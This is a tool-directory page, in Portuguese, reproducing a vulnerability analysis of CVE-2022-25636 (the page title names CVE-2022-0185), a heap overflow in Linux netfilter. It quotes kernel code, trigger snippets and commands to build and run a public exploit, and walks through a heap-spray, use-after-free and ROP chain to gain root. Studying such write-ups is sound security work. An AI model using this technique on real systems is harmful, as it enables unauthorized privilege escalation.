Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2022-25636 — CVE-2022-0185 analysis write up | Kitploit
Ferramentas/GitHubGitHub/chenaotian/cve-2022-25636
Privilege EscalationVulnerability AnalysisExploitationLearning & EducationBinary Exploitation
GitHubchenaotian/cve-2022-25636

CVE-2022-25636

CVE-2022-0185 analysis write up

Ver Repositório
32há 4 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2022-25636 Escalação de privilégios no netfilter do kernel

[toc]

Resumo da vulnerabilidade

ID da vulnerabilidade: CVE-2022-25636

Produto afetado: linux kernel - netfilter

Versões afetadas: linux kernel 5.4 ~

Impacto: Existe uma escrita fora dos limites no heap no módulo do kernel netfilter. Com a capacidade SYS_ADMIN, é possível escalar privilégios.

Configuração do ambiente

A vulnerabilidade existe no módulo do kernel netfilter, o código vulnerável está em 3 arquivos .ko.

root@kitploit:~
nft_dup_netdev.ko  
nf_dup_netdev.ko 
nf_tables.ko 

Iniciar diretamente com qemu tem problemas, o .ko não carrega, usar depuração dupla com vmware.

Ubuntu 21.10 pode substituir o kernel manualmente:

root@kitploit:~
apt-get install linux-image-5.13.0-30-generic

Depois remova o kernel original, compile o exp:

root@kitploit:~
git clone https://github.com/Bonfee/CVE-2022-25636.git
apt-get install libmnl-dev
apt-get install libfuse-dev
apt-get install libnftnl-dev
make
./exploit

Efeito da escalada de privilégios (taxa de sucesso inferior a 50%):

image-20220318151010142

Princípio da vulnerabilidade

Ponto de ocorrência

A função onde a vulnerabilidade ocorre é nft_fwd_dup_netdev_offload:

linux\net\netfilter\nf_dup_netdev.c : 67 : nft_fwd_dup_netdev_offload

root@kitploit:~
int nft_fwd_dup_netdev_offload(struct nft_offload_ctx *ctx,
			       struct nft_flow_rule *flow,
			       enum flow_action_id id, int oif)
{
	struct flow_action_entry *entry;
	struct net_device *dev;

	/* nft_flow_rule_destroy() releases the reference on this device. */
	dev = dev_get_by_index(ctx->net, oif);
	if (!dev)
		return -EOPNOTSUPP;

	entry = &flow->rule->action.entries[ctx->num_actions++];//越界
	entry->id = id;
	entry->dev = dev;

	return 0;
}
EXPORT_SYMBOL_GPL(nft_fwd_dup_netdev_offload);

Ao definir flow->rule->action.entries (essa estrutura é de tamanho variável e não há verificação de limites do heap), ocorre uma escrita fora dos limites de um inteiro (4 ou 5) e de um ponteiro.

Pilha de chamadas

A função é usada em nft_flow_rule_create:

linux\net\netfilter\nf_tables_offload.c : 90 : nft_flow_rule_create

root@kitploit:~
struct nft_flow_rule *nft_flow_rule_create(struct net *net,
					   const struct nft_rule *rule)
{
	struct nft_offload_ctx *ctx;
	struct nft_flow_rule *flow;
	int num_actions = 0, err;
	struct nft_expr *expr;

	expr = nft_expr_first(rule);
	while (nft_expr_more(rule, expr)) {////根据传入reule 的数量计算num_actions
		if (expr->ops->offload_flags & NFT_OFFLOAD_F_ACTION)
			num_actions++;// 只有带有NFT_OFFLOAD_F_ACTION 标记才计数

		expr = nft_expr_next(expr);
	}

	if (num_actions == 0)
		return ERR_PTR(-EOPNOTSUPP);

	flow = nft_flow_rule_alloc(num_actions);////根据num_actions 数量申请空间(变长结构体)
	if (!flow)
		return ERR_PTR(-ENOMEM);

	expr = nft_expr_first(rule);
	//ctx->num_actions 初始化为0 ↓
	ctx = kzalloc(sizeof(struct nft_offload_ctx), GFP_KERNEL);
	if (!ctx) {
		err = -ENOMEM;
		goto err_out;
	}
	ctx->net = net;
	ctx->dep.type = NFT_OFFLOAD_DEP_UNSPEC;

	while (nft_expr_more(rule, expr)) {
		if (!expr->ops->offload) {////根据rule数量调用offload
			err = -EOPNOTSUPP;
			goto err_out;
		}
		err = expr->ops->offload(ctx, flow, expr);////调用漏洞函数
		if (err < 0)
			goto err_out;

		expr = nft_expr_next(expr);
	}
	··· ···
    ··· ···
}

Pode-se ver que a função nft_flow_rule_create aloca a estrutura flow e a processa com base no número de estruturas de regra passadas do espaço do usuário. A variável num_actions é usada para contar, mas durante a contagem apenas as regras com a flag NFT_OFFLOAD_F_ACTION são contadas, e o espaço é alocado de acordo com esse número. Posteriormente, ao chamar offload para processar, o loop não usa num_actions, mas sim o número total de regras, sem verificar novamente a flag NFT_OFFLOAD_F_ACTION. Ou seja, quando há regras sem a flag NFT_OFFLOAD_F_ACTION, o número de chamadas a offload é maior que o número de entradas alocadas em flow->rule->action.entries. Dentro de offload, a função vulnerável nft_fwd_dup_netdev_offload é chamada, incrementando a cada chamada (inicializado em 0). No final, ultrapassa o limite do array , causando a escrita fora dos limites.

Algumas estruturas:

root@kitploit:~
struct nft_flow_rule {
	__be16			proto;
	struct nft_flow_match	match;
	struct flow_rule	*rule;
};

struct flow_rule {
	struct flow_match	match;
	struct flow_action	action;
};

struct flow_action {
	unsigned int			num_entries;
	struct flow_action_entry	entries[];
};

struct flow_action_entry {
	enum flow_action_id		id;
	enum flow_action_hw_stats	hw_stats;
	action_destr			destructor;
	void				*destructor_priv;
	union {
		u32			chain_index;	/* FLOW_ACTION_GOTO */
		struct net_device	*dev;		/* FLOW_ACTION_REDIRECT */
		··· ···
	};
	struct flow_action_cookie *cookie; /* user defined action cookie */
};

struct nft_offload_ctx {
	struct {
		enum nft_offload_dep_type	type;
		__be16				l3num;
		u8				protonum;
	} dep;
	unsigned int				num_actions;
	struct net				*net;
	struct nft_offload_reg			regs[NFT_REG32_15 + 1];
};

Pilha de chamadas:

  • nft_flow_rule_create
    • nft_dup_netdev_offload/nft_fwd_netdev_offload
      • nft_fwd_dup_netdev_offload

Uso do netfilter e gatilho

Link de referência: https://www.openwall.com/lists/oss-security/2022/02/21/2

Esse e-mail explica como usar o netfilter com as bibliotecas libmnl e libnftnl em C. O ponto principal para acionar a vulnerabilidade é se a regra adicionada possui a flag NFT_OFFLOAD_F_ACTION. Apenas as regras adicionadas com nftnl_expr_alloc("immediate"); possuem a flag NFT_OFFLOAD_F_ACTION:

root@kitploit:~
for(int i = 0; i < legit_writes; i++) {//如下添加expr 不会越界
    exprs[exprid] = nftnl_expr_alloc("immediate");
    nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_IMM_DREG, NFT_REG_1);
    nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_IMM_DATA, 1);
    nftnl_rule_add_expr(rule, exprs[exprid]);
    exprid++;
    exprs[exprid] = nftnl_expr_alloc("dup");
    nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_DUP_SREG_DEV, NFT_REG_1);
    nftnl_rule_add_expr(rule, exprs[exprid]);
    exprid++;
}
//如下添加expr 会越界
for (int unaccounted_dup = 0; unaccounted_dup < oob_writes; unaccounted_dup++) {
    exprs[exprid] = nftnl_expr_alloc("dup");
    nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_DUP_SREG_DEV, NFT_REG_1);
    nftnl_rule_add_expr(rule, exprs[exprid]);
    exprid++;
}

Exploração da vulnerabilidade

A explotação não é muito estável, mas a técnica é engenhosa. A vulnerabilidade escreve um ponteiro não controlado em uma posição de deslocamento fixo fora dos limites. Pessoalmente, considero a exploração muito difícil. Vamos analisar brevemente as técnicas. Pelo código da vulnerabilidade, podemos ver que cada estouro só pode escrever um inteiro (id, fixo em 4 ou 5) e um ponteiro (*dev), onde o ponteiro aponta para a estrutura struct net_device. Aqui focamos apenas na escrita do ponteiro dev:

root@kitploit:~
int nft_fwd_dup_netdev_offload(struct nft_offload_ctx *ctx,
			       struct nft_flow_rule *flow,
			       enum flow_action_id id, int oif)
{
	··· ···
	entry = &flow->rule->action.entries[ctx->num_actions++];//越界
	entry->id = id;
	entry->dev = dev; //固定偏移写一个堆地址,dev 为struct net_device 结构体
	··· ···
}

Sobre a estrutura struct flow_rule, por ser de tamanho variável, a faixa de tamanho que pode ser alocada é relevante para a possibilidade de exploração (sucesso).

  • Quando apenas uma regra é passada, o tamanho da estrutura é 0x70, pertencente a kmalloc-128 (0x80). Se ocorrer estouro, o ponteiro dev será escrito na posição 0x88, ou seja, 0x8 bytes fora dos limites.
  • Se duas regras forem passadas, o tamanho da estrutura é 0xC0, exatamente pertencente a kmalloc-192 (0xC0). Se ocorrer estouro, o ponteiro dev será escrito na posição 0xd8, ou seja, 0x18 bytes fora dos limites. Duas escritas fora dos limites ocorrerão em 0x18 + 0x50...

Estruturas relacionadas:

root@kitploit:~
struct flow_rule {
	struct flow_match	match;
	struct flow_action	action;
};

struct flow_match {
	struct flow_dissector	*dissector;
	void			*mask;
	void			*key;
};

struct flow_dissector {
	unsigned int used_keys; /* each bit repesents presence of one key id */
	unsigned short int offset[FLOW_DISSECTOR_KEY_MAX];
};

struct flow_action {
	unsigned int			num_entries;
	struct flow_action_entry	entries[];
};

struct flow_action_entry {//大小0x50
	enum flow_action_id		id;
	enum flow_action_hw_stats	hw_stats;
	action_destr			destructor;
	void				*destructor_priv;
	union {
		u32			chain_index;	/* FLOW_ACTION_GOTO */
		struct net_device	*dev;		/* FLOW_ACTION_REDIRECT */
		··· ···
	};
	struct flow_action_cookie *cookie; /* user defined action cookie */
};

Vazamento do endereço da estrutura net_device do kernel

Para iniciar a exploração, primeiro é necessário vazar dois endereços *dev. Como precisamos vazar dois endereços dev diferentes, um é vazado no processo atual e outro em um processo filho. Usamos msg_msg para vazar (revisão da técnica msg_msg). Faça um heap spray de mensagens com tamanho 0x1040. Devido à estrutura do msg, ele será dividido em dois segmentos: o segundo segmento do msg tem tamanho 0x70, mais o cabeçalho, resultando em alocação em kamalloc-128. Em seguida, libere um msg, liberando um kmalloc-128. Depois, use a estrutura flow_rule com apenas uma regra, que também é kmalloc-128, na esperança de que ela ocupe o segundo segmento kmalloc-128 recém-liberado, formando a seguinte disposição de heap:

image-20220320175028938

Quando flow_rule ocupa a estrutura msg_msgseg liberada, é provável que fique adjacente a outras msg_msgseg do heap spray. Assim, uma escrita fora dos limites escreverá um ponteiro de heap net_device (ponteiro dev) na posição deslocada em 0x8. Basta receber todas as mensagens do heap spray para ler esse ponteiro de heap, completando o vazamento de endereço para uso posterior, sem causar travamento.

UAF com setxattr para vazar kaslr

Em seguida, vaze o kaslr para obter a base do kernel. Use o mesmo método, com msg_msg + heap spray, desta vez com mensagens de tamanho kmalloc-192, alvejando o primeiro segmento do msg_msg. Depois, da mesma forma, libere um e aloque flow_rule, tentando formar a seguinte disposição de heap:

image-20220320184800730

Desta vez, use a estrutura flow_rule com duas regras, tamanho 0xC0, pertencente a kmalloc-192. Se escrever fora dos limites 6 vezes, na posição deslocada em 0x18+0x50*5 será escrito um ponteiro *dev, que fica exatamente no deslocamento 0x28 do terceiro kmalloc-192 abaixo. Se for uma estrutura msg_msg, esse deslocamento corresponde ao ponteiro security. Nesse caso, ao usar a função msgrcv para liberar essa estrutura msg_msg, será chamado kfree, liberando o conteúdo apontado por security. Isso constitui uma primitiva de liberação de endereço arbitrário via msg_msg->security. O código relevante:

root@kitploit:~
static long do_msgrcv(int msqid, void __user *buf, size_t bufsz, long msgtyp, int msgflg,
	       long (*msg_handler)(void __user *, struct msg_msg *, size_t))
{		
    ··· ···
    ··· ···
	free_msg(msg); 			
	··· ···
}

void free_msg(struct msg_msg *msg)
{
	··· ···
	security_msg_msg_free(msg);
	··· ···
}

void security_msg_msg_free(struct msg_msg *msg)
{
	call_void_hook(msg_msg_free_security, msg);
	kfree(msg->security);
	msg->security = NULL;
}

Assim, ao receber as mensagens do heap spray, o ponteiro dev que sobrescrevemos no campo security será liberado, ou seja, a estrutura net_device será liberada. Em seguida, use setxattr + userfaulted para tentar adulterar esse bloco de heap, completando um UAF. setxattr pode alocar blocos de heap do kernel de tamanho arbitrário e escrever conteúdo arbitrário, e depois liberar. É uma técnica comum em exploração de kernel.

Como agora há muitos blocos kmalloc-192 no estado livre, usar apenas um setxattr certamente não é suficiente. Portanto, usamos múltiplas threads chamando setxattr simultaneamente, e com userfaulted aumentamos o tempo de chamada, aumentando o tempo de ocupação do bloco, na tentativa de alocar mais blocos de heap do kernel, incluindo o bloco net_device recém-liberado. Uma vez alocado, podemos modificar o conteúdo da estrutura net_device, alterando o ponteiro dev_addr para o ponteiro netdev_ops, já que netdev_ops é inicializado como loopback_ops. Também alteramos alguns nomes para verificar se a modificação foi bem-sucedida:

root@kitploit:~
    ((uint64_t*)(setxattr_bufs[i]))[2] = 0x6f6c; // dev->name = "lo"
    ((uint64_t*)(setxattr_bufs[i]))[104] = child_net_device_leak + 0xc8; // set dev_addr ptr
    ((uint64_t*)(setxattr_bufs[i]))[78] = 0x0808080800000000; // set addr_len to '0x08'
    ((uint64_t*)(setxattr_bufs[i]))[28] = 0x42424242; // ifindex

Em seguida, ao chamar o ioctl do socket com a função SIOCGIFHWADDR para ler o endereço físico, será lido o endereço de loopback_ops, completando o vazamento. Alguns membros úteis de net_device:

root@kitploit:~
struct net_device {
	char			name[IFNAMSIZ]; //修改name判断是否改正确
	··· ···
	const struct net_device_ops *netdev_ops;//初始化为,用于泄露内核地址
	int			ifindex;   
	·· ···
	const struct  ethtool_ops *ethtool_ops; //用于劫持rip
	··· ···
	unsigned char		addr_len; //用于读取地址长度
	··· ···
	unsigned char		*dev_addr; //篡改用于泄露地址,被SIOCGIFHWADDR 读取
};

Segundo UAF para completar ROP no kernel

Use o mesmo método com setxattr + userfaulted para completar um segundo UAF. Agora que temos o endereço do kernel, podemos adulterar diretamente o campo ethtool_ops de net_device para sequestrar o eip. Em seguida, use o ioctl do socket com a função SIOCETHTOOL para chamar uma função em ethtool_ops, sequestrando o rip, e então execute ROP. Funciona no Ubuntu 21.10 com kernel versão 13.0-30:

exp:https://github.com/Bonfee/CVE-2022-25636

image-20220318151010142

Referências

E-mail: https://www.openwall.com/lists/oss-security/2022/02/21/2

Documento do autor: https://nickgregory.me/linux/security/2022/03/12/cve-2022-25636/

exp: https://github.com/Bonfee/CVE-2022-25636

Baixar ferramenta
ctx->num_actions
ctx->num_actions
flow->rule->action.entries